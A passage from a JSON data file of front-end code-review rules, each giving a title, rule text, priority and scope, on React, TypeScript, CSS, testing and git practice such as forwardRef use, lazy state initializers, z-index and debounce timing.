Match spacing patterns already used elsewhere for consistency. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid large indentation-only changes that bloat diffs and cause conflicts","rule":"Wrapping content in a new container reindents everything and creates conflict-prone diffs. Introduce a small wrapper component that takes children so the existing indentation stays intact.","apiRule":"Wrapping content in a new container reindents everything and creates conflict-prone diffs. Introduce a small wrapper component that takes children so the existing indentation stays intact. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't pass empty strings to clsx/className helpers","rule":"An empty-string argument to clsx() (or an empty className) is noise. Omit it.","apiRule":"An empty-string argument to clsx() (or an empty className) is noise. Omit it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use forwardRef only on components that actually need a ref","rule":"Don't blanket-apply forwardRef to every component. Keep it on the one component that needs a forwarded ref and simplify the rest.","apiRule":"Don't blanket-apply forwardRef to every component. Keep it on the one component that needs a forwarded ref and simplify the rest. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Trim vendored template components to what you actually use","rule":"Templates like shadcn/ui are starting points: delete unused parts (e.g. TableFooter), drop forwardRef/displayName where not needed, and simplify pass-through components to the underlying element.","apiRule":"Templates like shadcn/ui are starting points: delete unused parts (e.g. TableFooter), drop forwardRef/displayName where not needed, and simplify pass-through components to the underlying element. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Put shared styles inside the reusable component, not at each call site","rule":"If two usages of a component repeat the same classes, move those common styles into the component itself so call sites only specify what differs.","apiRule":"If two usages of a component repeat the same classes, move those common styles into the component itself so call sites only specify what differs. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add flex-shrink-0 to icons/avatars so flex doesn't squish them","rule":"Fixed-size icons and avatars inside a flex row can get compressed. Apply flex-shrink-0 (shrink-0) so they keep their dimensions.","apiRule":"Fixed-size icons and avatars inside a flex row can get compressed. Apply flex-shrink-0 (shrink-0) so they keep their dimensions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep z-index values low and lean on DOM order for stacking","rule":"Don't escalate z-index (9999) to win stacking battles. Among equal z-index, later DOM elements stack on top, so reorder markup or use small values; keep a handful of defined layers.","apiRule":"Don't escalate z-index (9999) to win stacking battles. Among equal z-index, later DOM elements stack on top, so reorder markup or use small values; keep a handful of defined layers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Read identifiers from route params, not by parsing the path client-side","rule":"Define dynamic route segments (e.g. /person/:id/:name) and read them with the router's params hook instead of slicing window.location, which is brittle and client-dependent.","apiRule":"Define dynamic route segments (e.g. /person/:id/:name) and read them with the router's params hook instead of slicing window.location, which is brittle and client-dependent. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Set shared variables in a switch, then call setters once afterward","rule":"When each switch branch repeats the same setState/setX calls, instead assign local variables in the branches and perform the setter calls once after the switch.","apiRule":"When each switch branch repeats the same setState/setX calls, instead assign local variables in the branches and perform the setter calls once after the switch. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't name a plain helper with a set* prefix reserved for state setters","rule":"Reserve set* naming for actual state setters. A helper that builds search params should be named for what it does (e.g. buildDateRangeParams), not setDateRange which implies React state.","apiRule":"Reserve set* naming for actual state setters. A helper that builds search params should be named for what it does (e.g. buildDateRangeParams), not setDateRange which implies React state. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a lazy initializer for state whose initial value is expensive","rule":"Pass a function to useState when computing the initial value is costly (e.g. reading window.innerWidth), so it runs once instead of on every render.","apiRule":"Pass a function to useState when computing the initial value is costly (e.g. reading window.innerWidth), so it runs once instead of on every render. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the right existence check: `in` for optional keys, null check for nullable values","rule":"The `in` operator tests key presence, not value. For a property that's always present but may be null, compare the value; reserve `in` for genuinely optional keys.","apiRule":"The `in` operator tests key presence, not value. For a property that's always present but may be null, compare the value; reserve `in` for genuinely optional keys. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name boolean-returning helpers as predicates","rule":"A function that returns a boolean should read like a question/assertion (hasX, isX, canX) rather than implying a value or action.","apiRule":"A function that returns a boolean should read like a question/assertion (hasX, isX, canX) rather than implying a value or action. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer findBy queries; use waitFor only for non-appearance conditions","rule":"Most async waits are covered by findBy queries. Reach for waitFor when you need to await a condition findBy can't express (e.g. element count reaching N), not as a default.","apiRule":"Most async waits are covered by findBy queries. Reach for waitFor when you need to await a condition findBy can't express (e.g. element count reaching N), not as a default. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid index-based lookups in test assertions","rule":"Asserting against element/array indexes is brittle — a small change shifts everything. Find rows by id/role/text or use inline snapshots for deterministic, intent-revealing assertions.","apiRule":"Asserting against element/array indexes is brittle — a small change shifts everything. Find rows by id/role/text or use inline snapshots for deterministic, intent-revealing assertions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use toBe for primitive equality and it.each for table-driven cases","rule":"Reserve toEqual for deep object/array equality; use toBe for primitives like strings and numbers. Collapse repetitive same-shape assertions with it.each.","apiRule":"Reserve toEqual for deep object/array equality; use toBe for primitives like strings and numbers. Collapse repetitive same-shape assertions with it.each. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use mouseenter/mouseleave instead of mouseover for hover behavior","rule":"mouseover/mouseout bubble and fire for descendant elements; mouseenter/mouseleave fire once for the element itself, which is what hover logic usually wants as the DOM grows.","apiRule":"mouseover/mouseout bubble and fire for descendant elements; mouseenter/mouseleave fire once for the element itself, which is what hover logic usually wants as the DOM grows. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Let the proxy/infra layer own concerns like trailing-slash redirects","rule":"Don't hand-roll per-route redirect logic in app code for things the reverse proxy (nginx) should handle globally; otherwise you must repeat it for every future route.","apiRule":"Don't hand-roll per-route redirect logic in app code for things the reverse proxy (nginx) should handle globally; otherwise you must repeat it for every future route. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Read env vars via import.meta.env in Vite and declare their types","rule":"In Vite projects access environment variables through import.meta.env to match how Vite exposes them, and add the typings to vite-env.d.ts for type safety.","apiRule":"In Vite projects access environment variables through import.meta.env to match how Vite exposes them, and add the typings to vite-env.d.ts for type safety. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Prefer string interpolation over fragmented inline expressions for text","rule":"Build a sentence with a template string rather than many separate JSX expressions with {' '} spacers; it reads more clearly and avoids stray whitespace tokens.","apiRule":"Build a sentence with a template string rather than many separate JSX expressions with {' '} spacers; it reads more clearly and avoids stray whitespace tokens. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't normalize case when both sides already match","rule":"Avoid sprinkling .toLowerCase() in comparisons when the API data and the values you compare against are already the same case. Remove the redundant transformation everywhere.","apiRule":"Avoid sprinkling .toLowerCase() in comparisons when the API data and the values you compare against are already the same case. Remove the redundant transformation everywhere. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reserve space for dynamic UI to prevent layout jump","rule":"When a count or badge appears/disappears, the surrounding layout shouldn't jump. Reserve consistent space so toggling content doesn't shift neighbours.","apiRule":"When a count or badge appears/disappears, the surrounding layout shouldn't jump. Reserve consistent space so toggling content doesn't shift neighbours. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Store filter/pagination state in URL query params, not browser storage","rule":"Keep filters, sorting, and pagination in the URL so the view survives refresh and is linkable/shareable. Avoid localStorage/sessionStorage for state that should be reproducible from a URL.","apiRule":"Keep filters, sorting, and pagination in the URL so the view survives refresh and is linkable/shareable. Avoid localStorage/sessionStorage for state that should be reproducible from a URL. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name props after what they represent, not a borrowed/inaccurate term","rule":"A prop holding a dropdown button's visible name is a label, not a placeholder. Name props to describe their actual role so the API reads clearly.","apiRule":"A prop holding a dropdown button's visible name is a label, not a placeholder. Name props to describe their actual role so the API reads clearly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't keep an artificial split between vendored and own components without a reason","rule":"When you copy in template components (e.g. shadcn/ui) they become yours; avoid maintaining a separate folder split unless it earns its keep, and merge thin wrappers into one component until a reason to separate appears.","apiRule":"When you copy in template components (e.g. shadcn/ui) they become yours; avoid maintaining a separate folder split unless it earns its keep, and merge thin wrappers into one component until a reason to separate appears. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name files so they don't falsely imply framework-reserved behavior","rule":"Avoid filenames that look like framework conventions (e.g. page.helpers.tsx next to page.tsx). Use a neutral name like consts.ts so it's clear the file isn't tapping into a framework feature.","apiRule":"Avoid filenames that look like framework conventions (e.g. page.helpers.tsx next to page.tsx). Use a neutral name like consts.ts so it's clear the file isn't tapping into a framework feature. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid renaming files for trivial reasons so git keeps the history","rule":"Renaming a file (e.g. just because it grew) makes git see a new file and lose blame/history. Keep the name and configure tooling to use it unless a rename is truly warranted.","apiRule":"Renaming a file (e.g. just because it grew) makes git see a new file and lose blame/history. Keep the name and configure tooling to use it unless a rename is truly warranted. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't hardcode host and port; resolve them in a deployment-stable way","rule":"A handler that fetches http://localhost:3000 only works locally. Determine host/port from the framework/runtime so it works in every environment.","apiRule":"A handler that fetches http://localhost:3000 only works locally. Determine host/port from the framework/runtime so it works in every environment. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Verify a new endpoint by actually hitting it before assuming it works","rule":"After adding a route/handler, make a real request to it (browser console, curl) and inspect the response to confirm the implementation, rather than assuming correctness.","apiRule":"After adding a route/handler, make a real request to it (browser console, curl) and inspect the response to confirm the implementation, rather than assuming correctness. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the framework's Link component for internal navigation","rule":"Use next/link or React Router's Link for in-app navigation instead of a raw <a>, to get client-side routing, base-path handling, and no hardcoded origins.","apiRule":"Use next/link or React Router's Link for in-app navigation instead of a raw <a>, to get client-side routing, base-path handling, and no hardcoded origins. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Modules should only export; never run side-effecting work at import time","rule":"Route/module files should declare and export. Side effects (fetches, IO) at the top level run on import, which is unexpected — only scripts invoked directly should execute work.","apiRule":"Route/module files should declare and export. Side effects (fetches, IO) at the top level run on import, which is unexpected — only scripts invoked directly should execute work. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Install dependencies in the branch/feature that actually uses them","rule":"Don't add a dependency in an unrelated PR. Install it in the branch that consumes it, and commit the lockfile change alongside it.","apiRule":"Don't add a dependency in an unrelated PR. Install it in the branch that consumes it, and commit the lockfile change alongside it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep route folder names and the links pointing to them in sync","rule":"When you rename a route, update both the directory name and every link/href that targets it so navigation does not 404.","apiRule":"When you rename a route, update both the directory name and every link/href that targets it so navigation does not 404. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Wrap context providers at the lowest common ancestor, not the root layout","rule":"Adding a client-side provider and 'use client' to the root layout opts the entire app out of server rendering. Wrap providers around only the subtree that needs them.","apiRule":"Adding a client-side provider and 'use client' to the root layout opts the entire app out of server rendering. Wrap providers around only the subtree that needs them. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Clear a previous error state when an operation succeeds on retry","rule":"If an action sets an error on failure, a later successful attempt must reset that error, otherwise stale error UI lingers after recovery.","apiRule":"If an action sets an error on failure, a later successful attempt must reset that error, otherwise stale error UI lingers after recovery. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Validate the shape of an external response before trusting it","rule":"A 200 status does not guarantee the payload matches your interface. A type guard at the boundary stops a malformed upstream response from crashing the frontend; weigh this against consistency in your codebase.","apiRule":"A 200 status does not guarantee the payload matches your interface. A type guard at the boundary stops a malformed upstream response from crashing the frontend; weigh this against consistency in your codebase. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer simple positioning over creating extra GPU composition layers","rule":"Centering with inset:0 + margin:auto is cheaper than translate-based centering, which forces a new composition layer / GPU acceleration. Reach for the lighter approach by default.","apiRule":"Centering with inset:0 + margin:auto is cheaper than translate-based centering, which forces a new composition layer / GPU acceleration. Reach for the lighter approach by default. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use RefObject for object refs; reserve React.Ref for callback-ref flexibility","rule":"React.Ref allows both object and callback refs, forcing you to check the type before reading .current. Use React.RefObject<T | null> unless you actually need to accept callback refs.","apiRule":"React.Ref allows both object and callback refs, forcing you to check the type before reading .current. Use React.RefObject<T | null> unless you actually need to accept callback refs. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use CSS custom properties for values shared between CSS and JS","rule":"SCSS variables are build-time macros and cannot be read at runtime. For a value needed in CSS and also via the JS style prop, define a CSS custom property (var) so there is one source of truth.","apiRule":"SCSS variables are build-time macros and cannot be read at runtime. For a value needed in CSS and also via the JS style prop, define a CSS custom property (var) so there is one source of truth. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Inline single-use JSX and only PascalCase real components","rule":"Don't hoist a chunk of JSX into a variable that's used once; inline it. And a value that is not a React component should be camelCase, since PascalCase implies a component.","apiRule":"Don't hoist a chunk of JSX into a variable that's used once; inline it. And a value that is not a React component should be camelCase, since PascalCase implies a component. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Rotate icons with a CSS class on the parent, not an SVG transform prop","rule":"Safari mishandles transform applied directly to an <svg> (especially via a prop). Toggle a class and rotate the element in CSS for cross-browser correctness.","apiRule":"Safari mishandles transform applied directly to an <svg> (especially via a prop). Toggle a class and rotate the element in CSS for cross-browser correctness. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Mount a portal target outside the React root element","rule":"A portal whose container lives inside the same React root defeats the purpose and can malfunction. Create a sibling element for portals (and if it is already inside the root, you do not need a portal at all).","apiRule":"A portal whose container lives inside the same React root defeats the purpose and can malfunction. Create a sibling element for portals (and if it is already inside the root, you do not need a portal at all). Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use defaultOpen for an initially-open dialog, open only when controlling state","rule":"Radix Dialog's open prop is for controlled state and must be paired with onOpenChange. To simply start open, use defaultOpen.","apiRule":"Radix Dialog's open prop is for controlled state and must be paired with onOpenChange. To simply start open, use defaultOpen. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Group @include mixins at the top of a rule, before plain declarations","rule":"Listing all @include lines first, then property declarations, makes rule blocks easier to scan.","apiRule":"Listing all @include lines first, then property declarations, makes rule blocks easier to scan. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use an as const object instead of an enum for value-only constants","rule":"When a set of constants is used only as values (never as a type), a frozen object literal with as const is lighter and more idiomatic than a TS enum.","apiRule":"When a set of constants is used only as values (never as a type), a frozen object literal with as const is lighter and more idiomatic than a TS enum. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer unknown over any for untyped values","rule":"any disables type checking entirely. Use unknown so the value must be narrowed before use.","apiRule":"any disables type checking entirely. Use unknown so the value must be narrowed before use. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Order status checks loading, error, empty to avoid repeated negations","rule":"Guard render branches in the order loading -> error -> empty so each later check no longer has to re-test !isLoading.","apiRule":"Guard render branches in the order loading -> error -> empty so each later check no longer has to re-test !isLoading. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Debounce search input around 150-300ms, not a full second","rule":"A one-second debounce on a search field feels broken to users. Target 150-300ms so results feel responsive while still throttling requests.","apiRule":"A one-second debounce on a search field feels broken to users. Target 150-300ms so results feel responsive while still throttling requests. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass handler references to event props, do not invoke them during render","rule":"Wiring a function that runs immediately (returning its call result) into onClick executes it on every render. Pass a reference or wrap in an arrow.","apiRule":"Wiring a function that runs immediately (returning its call result) into onClick executes it on every render. Pass a reference or wrap in an arrow. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Document public component props/APIs with JSDoc","rule":"Add JSDoc to exported component props and public functions so editors surface inline docs at the call site.","apiRule":"Add JSDoc to exported component props and public functions so editors surface inline docs at the call site. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Narrow config globs to the file types you actually use","rule":"Scope glob patterns (e.g. Storybook story globs) to the extensions actually in use instead of a broad catch-all, to keep config intentional.","apiRule":"Scope glob patterns (e.g. Storybook story globs) to the extensions actually in use instead of a broad catch-all, to keep config intentional. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a large/infinite border-radius for pill shapes","rule":"To make a pill regardless of dimensions, use `border-radius: calc(infinity * 1px)` (or a very large value) instead of guessing an arbitrary radius.","apiRule":"To make a pill regardless of dimensions, use `border-radius: calc(infinity * 1px)` (or a very large value) instead of guessing an arbitrary radius. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid layout shift when adding a focus border","rule":"Adding a border only on focus shifts surrounding content; use outline, a transparent reserved border, or box-shadow so the focus indicator doesn't change layout.","apiRule":"Adding a border only on focus shifts surrounding content; use outline, a transparent reserved border, or box-shadow so the focus indicator doesn't change layout. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer display:block; width:100% over flexbox for single inputs","rule":"For laying out a lone input, `display: block; width: 100%;` is simpler than wrapping it in flex; reach for the simplest layout that works.","apiRule":"For laying out a lone input, `display: block; width: 100%;` is simpler than wrapping it in flex; reach for the simplest layout that works. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Filter pointer events by pointerType instead of capability checks","rule":"To handle mouse-only interactions, check `event.pointerType === 'mouse'` inside pointerenter/leave rather than maintaining a separate hasHoverSupport flag.","apiRule":"To handle mouse-only interactions, check `event.pointerType === 'mouse'` inside pointerenter/leave rather than maintaining a separate hasHoverSupport flag. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Extract validation rules into a small helper/config","rule":"Centralize allowed-type validation (e.g. accepted image MIME types) in a helper or config constant so it's easy to find and change, rather than inlining conditions.","apiRule":"Centralize allowed-type validation (e.g. accepted image MIME types) in a helper or config constant so it's easy to find and change, rather than inlining conditions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the hidden attribute instead of inline display:none","rule":"To hide an element entirely, prefer the native `hidden` attribute over inline style display:none.","apiRule":"To hide an element entirely, prefer the native `hidden` attribute over inline style display:none. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid setTimeout in effects unless genuinely required","rule":"Don't wrap effect logic in setTimeout(0) by default; only use it when a real timing/focus issue requires deferring to the next tick, and document why.","apiRule":"Don't wrap effect logic in setTimeout(0) by default; only use it when a real timing/focus issue requires deferring to the next tick, and document why. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad 